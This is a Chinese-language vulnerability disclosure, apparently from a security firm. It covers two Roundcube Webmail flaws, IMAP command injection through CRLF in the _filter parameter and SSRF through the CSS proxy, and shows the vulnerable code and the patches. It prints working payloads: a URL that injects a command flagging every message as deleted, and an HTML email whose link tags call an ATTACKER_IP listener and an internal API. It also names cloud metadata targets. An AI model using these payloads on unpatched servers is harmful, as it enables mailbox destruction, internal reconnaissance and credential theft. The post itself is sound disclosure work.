我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

Roundcube IMAP 命令注入与 SSRF 漏洞

深入剖析在一次源代码审查中于 Roundcube Webmail(< 1.6.14、1.5.14、1.7 RC4)中发现的两个严重漏洞。OVE-2026-8 由于缺少 CRLF 过滤,允许已认证的攻击者通过 _filter 参数注入任意 IMAP 命令。OVE-2026-9 通过滥用 CSS 代理机制实现服务器端请求伪造(SSRF),从而可访问内部网络资源和云元数据。

OVE-2026-8 & OVE-2026-9

Roundcube Webmail:通过 CSS 代理实现 IMAP 命令注入与 SSRF

2026 年 3 月 24 日 · CVSS 8.1 High · CVSS 6.8 Medium · Roundcube < 1.6.14、1.5.14、17 RC5

CVE ID CVSS 受影响版本 已修复版本
OVE-2026-8 8.1 High < 1.6.14, 1.5.14, 17 RC5 1.6.14, 1.5.14, 17 RC5
OVE-2026-9 6.8 Medium < 1.6.14, 1.5.14, 17 RC5 1.6.14, 1.5.14, 17 RC5

更新:这些漏洞最初由 Ostorlab 以内部标识符 OVE-2026-8 和 OVE-2026-9 进行跟踪,随后于 4 月 3 日在 CVE 数据库中发布,编号分别为 CVE-2026-35538(IMAP 命令注入)和 CVE-2026-35540(通过 CSS 代理实现的 SSRF)。

故事的开端

它的开始方式与大多数审计一样——从一次 git clone 开始。在 Ostorlab,我一直在研究 Roundcube 中一个涉及 SVG <animate> 标签的已知存储型 XSS 漏洞——分析该 CVE、追踪过滤器逻辑,并构建一个可用的漏洞利用。这项工作把我引向了代码库的更深处。原本只是针对特定 CVE 的研究,逐渐演变成了一次更广泛的源代码审查,而这发生在 Roundcube 1.5.14 / 1.6.14 / 1.7 RC5 发布前一周。

我已经不再寻找任何特定的东西。我只是在阅读代码、追踪数据流,顺着用户输入从 HTTP 参数一直追到它最终到达的地方。有两条路径引起了我的注意:一条从搜索过滤参数直接通向原始的 IMAP 套接字,另一条则把 Roundcube 的 CSS 渲染流水线变成了用于发起内部网络请求的开放代理。

这两个发现都通过 HackerOne 提交给了 Roundcube 安全团队。两者都被判定为重复。大约一周后发布的新版本修复了这两个问题。本文按照我发现它们时的样子记录了这两个发现:存在漏洞的代码、利用链以及修复方案。

IMAP 命令注入

针对 IMAP 命令注入提交的 HackerOne 报告
图 1:针对 IMAP 命令注入的 HackerOne 报告

通过 CSS 代理实现的服务器端请求伪造

针对 SSRF 提交的 HackerOne 报告
图 2:针对 SSRF 提交的 HackerOne 报告

OVE-2026-8:通过 _filter 参数实现的 IMAP 命令注入

汇聚点(Sink)

当 Roundcube 用户搜索其邮箱时,应用会从若干 URL 参数组装出一条 IMAP SEARCH 命令。其中之一便是 _filter——一个用于缩小搜索范围的预定义关键字,如 UNSEEN 或 FLAGGED。该值从 GET 请求中读取,最终被拼接进一条原始的 IMAP 命令字符串,并被直接写入 IMAP 服务器的 TCP 套接字。

问题很简单:如果 _filter 包含的不是搜索关键字,而是别的东西,会发生什么?

追踪数据流

我从入口点开始,即 program/actions/mail/search.php 第 45 行:

$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));

get_input_string() 函数会对输入调用 strip_tags()(移除 HTML 标签),然后调用 trim()。这两个函数都不会处理 \r\n 字符。嵌入在参数值中的 CRLF 序列会完整无损地通过这两个函数。

$filter 值在第 58 行流经 search_input(),当它是一个非空且非 ALL 的字符串时,会被原样使用。随后它到达 program/lib/Roundcube/rcube_imap_generic.php 中的 rcube_imap_generic::search(),并在那里被追加到 IMAP 命令参数中:

// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;  // raw concatenation, no escaping
} else {
    $params .= 'ALL';
}

$criteria 字符串——其中仍包含任何嵌入的 CRLF——被直接拼接进 $params。它随后被传递给 execute(),后者调用 r_implode()。对于字符串参数,r_implode() 会原样返回该值:

// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
    if (!is_array($element)) {
        return $element;  // verbatim return — no escaping
    }
    // ...
}

最后,putLineC() 将组装好的命令写入 IMAP 套接字。它只在字面字符串模式 {N}\r\n 处进行拆分,而不会在裸的 CRLF 序列处拆分。因此,整个有效载荷——合法命令加上被注入的命令——会作为单个数据块一次性写入套接字:

// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()

IMAP 服务器作为一种以行为分隔的协议,会把 \r\n 读作命令终止符,并将其后的内容解析为一条完全独立、由攻击者控制的命令。

讽刺之处:escape() 存在,却从未被调用

代码库中其实已经包含了一个能够中和此类攻击的函数。位于第 4293 行的 rcube_imap_generic::escape() 会检测 CRLF 字符,并将字符串转换为一个 IMAP 字面量({N}\r\n<value>),服务器会将其视为数据而非命令边界:

function escape($string) {
    if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
        return '"' . addcslashes($string, '\\"') . '"';
    }
    // CRLF detected → safe literal-string encoding
    return sprintf("{%d}\r\n%s", strlen($string), $string);
}

但 search.php 从未对 $filter 调用 escape()。它只对 $search(第 65 行)——即用户的自由文本查询——进行了调用,而 filter 参数走的是一条完全不同的代码路径,并以原始形式到达套接字。

攻击的样子

A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)

%0d%0a 解码为 \r\n。在 Roundcube 处理之后,IMAP 服务器收到的是:

A001 UID SEARCH UNSEEN        ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted)  ← injected command: flag all messages as deleted

来自单个 HTTP 参数的两条独立 IMAP 命令。被注入的命令以已认证用户 IMAP 会话的完整权限运行。

概念验证(PoC)

以下视频演示了完整的利用链——从构造恶意 URL,到观察注入的 IMAP 命令在服务器上执行。

IMAP 命令注入概念验证(PoC)视频

严重程度

任何已认证的 Roundcube 用户都可以通过单个 GET 参数注入任意 IMAP 命令。攻击面包括:

  • 邮箱操纵:将所有邮件标记为已删除,在文件夹之间移动邮件
  • 数据窃取:使用 FETCH 命令获取邮件内容
  • ACL 滥用:使用 SETACL 为攻击者的账户授予对受害者邮箱文件夹的读取权限
  • 拒绝服务:使用 EXPUNGE 永久移除邮件,使用 SUBSCRIBE/UNSUBSCRIBE 破坏文件夹的可见性

修复方案

该补丁在搜索字符串到达 IMAP 套接字之前,剥离其中的 CRLF 字符,并将其替换为空格:

// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);

同样的过滤也被应用于 send.php 中的 $message_id,以堵住一条通过草稿邮件处理而产生的类似注入路径:

// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);

任何嵌入的 CRLF——注入第二条 IMAP 命令的关键——都会在到达套接字之前被中和。

OVE-2026-9:通过 CSS 代理实现的服务器端请求伪造

汇聚点(Sink)

第二个发现来自代码库中一个完全不同的部分。当 Roundcube 渲染一封 HTML 邮件时,它会重写外部的 CSS <link> 标签,使其指向一个内部代理端点(modcss.php)。这是一项设计选择——它可以防止受害者的浏览器直接获取由攻击者控制的 URL,否则这些 URL 可能被用于追踪。但它带来了一个新问题:现在改由 Roundcube 服务器来发起这个请求。

追踪数据流

当 Roundcube 的 HTML 过滤器(rcube_washtml)在邮件中遇到 <link rel="stylesheet"> 标签时,program/actions/mail/index.php(第 1285 行)中的 washtml_link_callback() 函数会把该 URL 存入 PHP 会话:

// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
    $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];  // stored as-is, no host validation
    $attrib['href'] = $rcmail->url([
        'task'   => 'utils',
        'action' => 'modcss',
        'u'      => $tempurl,
    ]);
}

该 URL 被原样存储——唯一的检查,就是它的开头是否为 http:// 或 https://. 没有主机名允许列表,没有 IP 阻止列表,也没有对私有地址或回环地址的任何限制。 当受害者打开邮件并点击“显示远程内容”时,浏览器会请求被重写后的 URL,该请求会命中 modcss.php。处理程序从会话中取回原始 URL,并使用 GuzzleHttp 发起一次服务器端的 HTTP GET:

// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];

if (!preg_match('~^https?://~i', $realurl)) {
    $rcmail->output->sendExitError(403, 'Invalid URL');  // only scheme check
}

$client   = rcube::get_instance()->get_http_client();
$response = $client->get($realurl);  // server fetches arbitrary URL

在会话存储与 HTTP 请求之间,既没有主机名解析,也没有 IP 校验,更没有针对私有网络地址段的任何检查。Roundcube 服务器会欣然去获取 http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, 或任何其他内部 URL。

攻击的样子

攻击者投递一封带有嵌入 <link> 标签的 HTML 邮件:

<html>
<head>
  <link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
  <link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>

当受害者查看该邮件并允许远程内容时: 1. Roundcube 将两个 URL 都存入 $_SESSION['modcssurls'] 2. 浏览器为每个 URL 请求 /?_task=utils&_action=modcss&_u=tmp-{md5} 3. modcss.php 在服务器端获取攻击者的监听端和内部 API 端点 4. 攻击者的监听端记录到一次来自 Roundcube 服务器 IP(而非受害者浏览器)的访问 5. 如果内部 API 返回 text/css 或 text/plain,响应体会被代理回浏览器

测试确认

我在一个 Docker 环境中针对 Roundcube 1.6.13 进行了测试,其中有一个仅可从 Docker 网络内部访问的 internal-api 容器。结果如下:

  • 回调确认——攻击者的 HTTP 监听端收到了一个来自 Roundcube 容器 IP 的请求,User-Agent 为 GuzzleHttp/7。该请求发自服务器,而非受害者的浏览器。

  • 内部服务数据外泄——受害者浏览器无法访问的内部 API 端点,通过 modcss 代理返回了其响应。响应体在浏览器 DevTools 的 Network 选项卡中可见。

  • 云元数据——在一个 GCP 实例上,http://169.254.169.254/ 返回了一个 Content-Type: application/text 的响应。由于 modcss.php 只代理 text/css 和 text/plain 内容类型,响应体被拦截了。然而 SSRF 仍然被触发——这一点由 Apache 访问日志中的 GuzzleHttp/7 user-agent 以及近乎即时的响应时间(证明服务器确实访问到了元数据端点)得到了确认。在使用 IMDSv1 的 AWS 上,元数据端点返回的是 text/plain,这将被代理回浏览器。

概念验证(PoC)

以下视频演示了 SSRF 的实际运行——发送一封在 CSS <link> 标签中嵌入了内部 URL 的构造邮件,并观察服务器端发起的请求。

通过 CSS 代理实现的 SSRF 概念验证(PoC)视频

严重程度

任何能够向 Roundcube 邮箱投递邮件的攻击者,都可以通过一次用户交互触发此 SSRF。其影响包括:

  • 内部网络侦察:探测绑定在回环地址或 VPC 内部主机上的服务
  • 云凭据窃取:AWS IMDSv1 以 text/plain 形式返回 IAM 凭据,会被完整代理
  • 数据窃取:任何返回 text/css 或 text/plain 的内部服务,其响应都会被代理到浏览器

修复方案

修复引入了一个新的 rcube_utils::is_local_url() 函数,它使用 mlocati/ip-lib 库,对照私有、回环和链路本地地址段来检查 URL:

// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain

该检查应用于两个位置。首先,当 <link> 标签被存入会话时,本地 URL 现在会在抵达代理之前就被拒绝:

// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {

其次,modcss.php 中的 HTTP 客户端现在禁用了重定向,从而防止攻击者通过重定向链绕过 URL 校验:

// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);

参考资料

资源 链接
Roundcube 1.6.13 与 1.6.14 之间的补丁修复变更 https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14